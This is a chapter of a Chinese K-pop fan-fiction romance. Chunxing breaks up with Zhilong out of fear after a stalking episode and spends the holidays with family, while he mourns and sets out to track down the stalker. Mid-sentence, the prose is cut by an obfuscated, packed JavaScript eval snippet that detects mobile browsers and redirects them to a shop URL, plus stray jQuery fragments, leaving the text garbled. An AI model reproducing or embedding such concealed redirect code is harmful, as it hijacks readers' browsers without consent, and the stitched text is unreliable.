51.第 51 章
作品:《【韩娱】星之所向》 几天后的清晨,阳光勉强穿透厚重的云层,洒下稀薄而清冷的光线。初星拖着行李箱,步履缓慢地走下公寓楼。她的脸色苍白得近乎透明,眼底是浓重的倦意和空洞,脚步虚浮,不似往日轻快。
刚到门口,熟悉的身影便从旁边快步走近,带着清晨的寒气。
至龙看起来清瘦了许多,下颌线清晰锋利,眼里满是交织的血丝,但他的目光却灼热而执着,一瞬不瞬地锁在她身上,带着贪婪的探寻和深不见底的忧虑。视线触及她手中的行李箱时,他立刻冲上前,“娜比……你……你要走?” 声音恐慌又绝望。
初星看到他突然出现,酸涩感涌上鼻腔,下意识地把行李箱往身后藏了藏,别开视线,不敢与他对视,带着明显的、无法消解的委屈和一股尖锐的、自卫般的怨气:“不用你管。去机场。”
至龙的心随着她冰冷的话语坠入深渊,不自觉地颤抖起来,破碎的恳求:“去机场?去哪里?让我送你好不好?就送到机场,看你进去我就走,我发誓绝不纠缠……求你……一个人去……我会疯掉的……”
“……美国。陪爸爸妈妈过年。”初星低声回答,固执地看着地面,手指抠着拉杆,指节几乎要嵌进塑料里。
至龙紧绷的神经松弛了一瞬,但更担忧了……她要飞那么远,独自一人。他看着她疏离的样子,心痛得像被人拿刀反复捅破,鲜血淋漓。他坚持着,“我送你。就送到机场,看你安全进去我就走,行吗?娜比……求你了……让我为你做点什么……”
初星死死地咬着下唇,内心挣扎。理智告诉她必须斩断,不能再给他任何虚幻的希望,也不能再让自己陷入万劫不复的依赖。但情感上,独自去机场的路程,那段未知的、可能再次被窥视的旅程,让她恐惧得浑身发冷。对安全的卑微渴望,最终微弱地战胜了理智。她几不可察地点了下头,“……嗯。”
至龙急忙接过行李箱,拉开副驾驶的车门,细心地护着她坐进去。
去机场的路程异常安静。初星一直偏头看着窗外飞逝的景色,眼圈微微泛红,偶尔吸一下鼻子,努力压抑着情绪。至龙专注地开着车,眼角的余光却始终关注着她。
终于,车子缓缓驶入机场停车区。车停稳,车内瞬间陷入一片死寂,只有彼此沉重的呼吸声交错着,清晰得令人心慌。至龙解开安全带,喉结艰难地上下滚动,张了张嘴,想说“让我送你进去”,多争取一会与她共处的时间。
“至龙。”初星却先开了口。她依旧看着窗外即将各奔东西的人流,声音很轻,打破了这令人窒息的沉默。
至龙紧张地看向她柔和的侧脸,声音干涩得如同砂纸摩擦:“嗯?怎么了?”
初星缓慢地转过头来看他。当她的目光与他相遇的那一刻,至龙整个人如坠冰窟。她的眼神,不再是爱恋,不再是依赖,而是一种深深的、带着怜悯的绝望,像一把烧红的烙铁,狠狠地烫在他的胸口。
“我们……”她的声音哽咽得厉害,努力想保持平静,但颤抖的尾音和迅速流出的泪水出卖了她的心,“……结束吧。”
至龙的脑海里轰然爆炸,摧毁了他所有的理智和希望。他的呼吸停滞,死死盯着她,仿佛想从她脸上找出哪怕一丝一毫的犹豫或不舍。嘴唇张合了几下,却发不出任何声音,只有胸腔里传来撕裂般的、无声的呐喊和窒息般的闷痛。
“我只是……想好好谈个恋爱而已,”初星的声音破碎,带着浓浓的委屈和后怕,“为什么……会变成这样?那些照片……那些敲门声……我真的好害怕……”
她抬起泪眼望着他,眼神里是赤裸裸的恐惧:“这次是这样,那下次呢?下次会不会……会不会有更可怕的事情?至龙,我每天晚上都睡不着,一闭上眼就是那些……我看到你……我就忍不住想起那些害怕……”
“不会的!绝对不会再有下次!”至龙急切地打断她,伸出手,想要握住她的手,却被轻轻躲掉,他的手僵在半空,心脏痛得无以复加,“娜比,对不起……是我没保护好你……你再信我一次,我会用一切办法保护好你,绝不会再让你经历这些……”
初星摇头,“你怎么保护呢?时时刻刻把我关起来吗?还是让你那些保镖永远跟着我?” 她吸了吸鼻子,眼泪流得更凶,“我不想这样……我不想以后每一天都活在担心和害怕里……至龙,我累了……我真的好累……放过我吧……也放过你自己……”
“放过你?”至龙像是被这句话刺穿了灵魂,声音陡然拔高,带着濒临疯狂的痛苦和难以置信,“那你告诉我……谁又来放过我?!没有你……我怎么办?!娜比!” 他再也控制不住,泪水汹涌而下,声音破碎不堪。
初星看着他,心像被彻底碾碎,但内心的恐惧已经像毒藤般扎根,蔓延至每一个角落,压倒了一切。“就这样吧。”她用力推开车门,冰冷的空气像刀子般灌入。“保重。”
说完,她下车,拖着行李,没有再回头,缓慢却坚定地走向机场入口。
至龙僵在驾驶座上,仿佛被抽走了所有的灵魂和热量。他眼睁睁看着她的背影一点点变小,模糊,最终彻底消失在拐角,像一滴水蒸发在沙漠里。车窗外的世界失去了所有颜色和声音,绝望如同黑色的海啸,将他吞噬,碾碎。他甚至感觉不到自己的心跳。
时间凝固了。不知过了多久,后方刺耳的喇叭声将他从麻木的剧痛中惊醒。他机械地启动车子,像个游魂般驶离。手脚冰凉麻木,所有的动作都凭本能。车窗外的世界飞速倒退,却无法在他空洞的眼中留下任何痕迹。
他没有回任何地方,而是将车开到汉江边最荒凉的堤岸。停下车,冰冷的江风像野兽般咆哮着灌入车内。却吹不散他心头的窒闷和寒意。他颓然地靠在方向盘上,肩膀无法抑制地剧烈颤抖起来。痛苦的呜咽声冲破了壁垒,在空旷的车厢内低低回荡。
“对不起……娜比……对不起……”他一遍遍地重复着,声音破碎不堪,充满了无尽的自责和悔恨。他恨自己为什么那天要在录音室,为什么没接到电话,恨自己给她带来了这样的无妄之灾,更恨自己最终没能留住她,没能给她足够的安全感。
哭了不知道多久,直到眼泪几乎流干,喉咙沙哑得发不出声音,他才慢慢抬起头。通红的眼睛里,痛苦肆虐,但冰冷的决心也逐渐浮现。
他拿出手机,键盘被泪水模糊了好几次,他忽略掉所有未接来电和消息,直接拨通了一个号码。
电话很快被接起,那边传来一个沉稳的男声:“至龙?”
至龙的声音沙哑得可怕,却异常冰冷和狠厉:“哥,是我。之前让你查的事,加急。动用所有能用的资源,人情、钱,都不是问题。”
他顿了顿,眼神锐利得像要穿透车窗外的夜色,一字一句地说道:“我要最快的速度知道是谁。到底是谁干的。”
电话那头沉默了一下,随即应道:“明白。已经在全力追查,一有消息立刻通知你。”
“嗯。”至龙挂了电话,将手机狠狠攥在手里,指节因用力而泛白。
他不能倒下。至少现在不能。
初星的恐惧和眼泪,她那句“我累了”,像鞭子一样抽打着他。她的离开是因为害怕,而恐惧的源头是那个隐藏在暗处的威胁。只有清除掉那个威胁,只有证明他有能力护她周全,或许……或许有一丝微弱的可能……
他不敢深想那可能性有多渺茫,只是将所有的痛苦和绝望都转化为找到那个人的疯狂动力。
接下来的几天,至龙像是变了一个人。他依旧完成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765565|188757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着必要的工作,但周身的气场冰冷而疏离,眼神里时常带着一种深沉的厉色。他推掉了所有的私人聚会,不再活跃于社交网络,大部分时间都待在工作室,电话打得异常频繁。
成员和经纪人都察觉到了他的变化,以及他和初星之间明显出了问题,但看他那副生人勿近、将所有情绪都压抑在冰面之下的状态,谁也不敢多问。
他偶尔会开车到初星的公寓楼下,远远地看着那扇漆黑的窗户,一待就是很久。也会无数次地拿出手机,点开那个熟悉的对话框,输入长长的话,却又在最后全部删除。他怕打扰她,更怕得到的是更决绝的回应。
他只是在等。等待一个消息。一个能让他有机会,重新走到她面前的消息。
……
初星飞抵美国,与父亲团聚,在新年钟声敲响时,守在母亲的病床边,轻轻握住母亲的手。或许是新年的奇迹,或许是持续的呼唤终于有了回应,母亲的眼睫在那天微微颤动,甚至短暂地睁开了眼睛。初星激动地落泪,小心翼翼地和醒来片刻的母亲拍下了一张珍贵的合照——照片里的她眼睛红肿,却笑得无比幸福和充满希望。
她在cy上分享了这张照片,没有过多的文字,只有一颗心。这张照片引爆了关注,朋友纷纷送上祝福。
接着,她又分享了几张和父亲的日常。父亲戴着搞怪的新年帽,做着鬼脸,试图逗她开心,而她在一旁笑得前仰后合,父女间的温馨互动冲淡了些许她眉宇间的忧郁。
之后她又飞回了中国外婆家。外婆做了满满一桌子她小时候最爱吃的菜,她拍下那些色香味俱全的家常菜肴,配文:“外婆的味道,是最好的年味。” 照片里,外婆布满皱纹的手正在给她夹菜,温馨又感人。
她还分享了自己和年纪相差不大的小表妹一起体验云南傣族传统服装的照片。两人穿着鲜艳的筒裙,戴着银饰,在阳光下笑得青春洋溢。另一张则是她穿着一件素雅旗袍,勾勒出纤细身姿,站在古色古香的庭院里,气质温婉又带着一丝不易察觉的落寞。
最多的是和家人的各种温馨合照。和外婆一起包饺子,和舅舅一家吃团圆饭,和小表妹窝在沙发上看春晚……每一张照片里的她,都在笑着,努力融入热闹的节日氛围,看起来似乎正在从之前的阴影中慢慢走出来,享受着家人的温暖和陪伴。
远在韩国的至龙,几乎是病态般地、一遍又一遍地刷新着她的社交平台。他看着她分享的每一张照片,每一个动态。
看到她和苏醒过来的母亲合照时,他眼眶发热,真心为她感到高兴,却又因为无法陪在她身边分享这份喜悦而心痛如绞。看到她和父亲的搞怪照片,他仿佛能听到她清脆的笑声,心里酸涩又安慰。看到那一桌桌外婆做的菜,他会想起她曾经嘟囔想吃的家乡味道。看到她和表妹穿着傣族服装、穿着旗袍的照片,他会被她的美丽惊艳,随即又是铺天盖地的思念。
尤其是那些全家福里,她虽然都在笑,但至龙却总能敏锐地捕捉到她偶尔走神时眼底那一闪而过的落寞和勉强。他知道,她的笑容背后,依然藏着恐惧和未愈合的伤口。
这些动态,像是一把钝刀,反复地缓慢地切割着至龙的心。她似乎正在努力地生活,努力地走出有他的世界,让自己的生活看起来丰富多彩。这让他感到一丝丝的安慰,希望她真的能好起来,却想着她的生活里,充满了家人的温暖和新奇的体验,好像……真的不再需要他了。
但他依旧固执地守着,像守着最后一点微弱的星火。他给她最近的每一张照片都点了赞,却不敢留下任何评论。他在等,更加迫切地等待那个能让他有资格、有勇气再次走向她的消息。她的每一次更新,都让他心中的决心更加坚定——必须尽快解决掉所有隐患,他不能真的失去她。

